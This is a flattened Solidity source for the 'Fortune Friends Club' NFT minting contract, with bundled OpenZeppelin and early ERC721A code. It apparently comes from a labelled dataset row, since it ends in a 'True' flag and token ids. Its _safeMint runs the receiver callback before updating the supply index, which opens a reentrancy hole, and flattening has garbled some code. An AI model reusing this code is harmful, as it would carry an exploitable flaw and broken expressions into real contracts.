receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File contracts/ERC721A.sol // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). / contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev * `maxBatchSize` refers to how much a minter can mint at a time. / constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view override returns (uint256) { return currentIndex; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. / function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), / function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /* * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. / function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /* * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr \|\| getApproved(tokenId) == _msgSender() \|\| isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /* * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). / function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. / function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /* * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. / function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/cryptography/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /* * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. / library MerkleProof { /* * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. / function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /* * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ / function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File contracts/FFC.sol pragma solidity ^0.8.2; // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @, [email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% @@% @@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@( ,@@%. ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .&@* (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& %@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@* #@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@# @@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@ %@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@ @@. @@@@@@@@@@@@ // @@@@@@@@@@@@% @# [email protected]@@@@@@@@@@@ // @@@@@@@@@@@% (@@@@@( &@@&@@@@@@@@@@@@@@@ // @@@@@@@@@@@ ,@. @, @@@@@@@@@@@@@@ // @@@@@@@@@@@ #@.. [email protected]# @@@@@@@@@@@@@@ // @@@@@@@@@@@ @@./@@* [email protected] (@ @@@@@@@@@@@@@@ // @@@@@@@@@@@ %@@@& /@@@@@@@@@@@@@@ // @@@@@@@@@@@ @@@@@@@@@@@@@@@ // @@@@@@@@@@@( &@@@@@@@@@@@@@@@ // @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@& ,@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@& ,@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@, [email protected]@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@ &@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@/ (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/. .&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ contract FortuneFriendsClub is Ownable, ERC721A { string private _baseTokenURI; uint256 public presaleTime; uint256 public affectedTime; uint256 public publicRaffleTime; bytes32 public presaleMerkleRoot; bytes32 public affectedMerkleRoot; bytes32 public publicRaffleMerkleRoot; uint16 public devAmount = 100; uint16 public presaleAmount = 8645; uint256 public price = 0.055 ether; uint16 public supply = 8888; constructor( bytes32 _presaleMerkleRoot, bytes32 _affectedMerkleRoot, uint256 _presaleTime, uint256 _affectedTime, uint256 _publicRaffleTime ) ERC721A("Fortune Friends Club", "FFC", supply) { presaleMerkleRoot = _presaleMerkleRoot; affectedMerkleRoot = _affectedMerkleRoot; presaleTime = _presaleTime; affectedTime = _affectedTime; publicRaffleTime = _publicRaffleTime; } event Created(address indexed to, uint256 amount); // Base URI function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } // Setters function setBaseURI(string calldata baseURI) public onlyOwner { _baseTokenURI = baseURI; } function setPresaleMerkleRoot(bytes32 newMerkleRoot) public onlyOwner { presaleMerkleRoot = newMerkleRoot; } function setAffectedMerkleRoot(bytes32 newMerkleRoot) public onlyOwner { affectedMerkleRoot = newMerkleRoot; } function setPublicRaffleMerkleRoot(bytes32 newMerkleRoot) public onlyOwner { publicRaffleMerkleRoot = newMerkleRoot; } function setMintTime(uint256 _presaleTime, uint256 _affectedTime, uint256 _publicRaffleTime) public onlyOwner { require(_affectedTime > _presaleTime && _publicRaffleTime > _affectedTime, "Invalid mint timings"); presaleTime = _presaleTime; affectedTime = _affectedTime; publicRaffleTime = _publicRaffleTime; } // Mint function presaleMint( bytes32[] calldata merkleProof, uint16 numToMint, uint16 mintCap ) payable public isMintValid(numToMint, mintCap) isPriceValid(numToMint) isMintLive(presaleTime) { require(totalSupply() + numToMint < presaleAmount + 1, "Not enough remaining for mint amount requested"); require(MerkleProof.verify(merkleProof, presaleMerkleRoot, keccak256(abi.encodePacked(msg.sender, mintCap))), "Leaf node could not be verified, check proof."); _safeMint(msg.sender, numToMint); emit Created(msg.sender, numToMint); } function affectedMint( bytes32[] calldata merkleProof, uint16 numToMint, uint16 mintCap ) payable public isMintValid(numToMint, mintCap) isMintLive(affectedTime) { require(MerkleProof.verify(merkleProof, affectedMerkleRoot, keccak256(abi.encodePacked(msg.sender, mintCap))), "Leaf node could not be verified, check proof"); _safeMint(msg.sender, numToMint); emit Created(msg.sender, numToMint); } function publicRaffleMint( bytes32[] calldata merkleProof, uint16 numToMint ) payable public isMintValid(numToMint, 1) isPriceValid(numToMint) isMintLive(publicRaffleTime) { require(MerkleProof.verify(merkleProof, publicRaffleMerkleRoot, keccak256(abi.encodePacked(msg.sender))), "Leaf node could not be verified, check proof"); _safeMint(msg.sender, numToMint); emit Created(msg.sender, numToMint); } function devMint( address to, uint16 numToMint ) payable public onlyOwner isMintValid(numToMint, devAmount) { require(numToMint % 5 == 0); for (uint32 i = 0; i < numToMint / 5; i++) { _safeMint(to, 5); } } // Dev function withdraw() public onlyOwner { payable(msg.sender).transfer(payable(address(this)).balance); } function setOwnersExplicit(uint256 quantity) public onlyOwner { _setOwnersExplicit(quantity); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } // Modifiers modifier isMintValid(uint16 numToMint, uint16 mintCap) { require(totalSupply() + numToMint < supply + 1, "Not enough remaining for mint amount requested"); require(numberMinted(msg.sender) + numToMint < mintCap + 1, "Too many minted"); require(numToMint > 0, "Quantity needs to be more than 0"); _; } modifier isPriceValid(uint16 numToMint) { require(msg.value > 0, "Value has to be above 0"); require(msg.value == price * numToMint, "Not enough ETH sent: check price"); require(numberMinted(msg.sender) < 1, "Has minted before"); _; } modifier isMintLive(uint256 time) { require(time > 0 && block.timestamp > time, "Invalid mint time"); _; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 5718, 1008, 1013, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1022, 1012, 1014, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 1031, 10373, 5123, 1033, 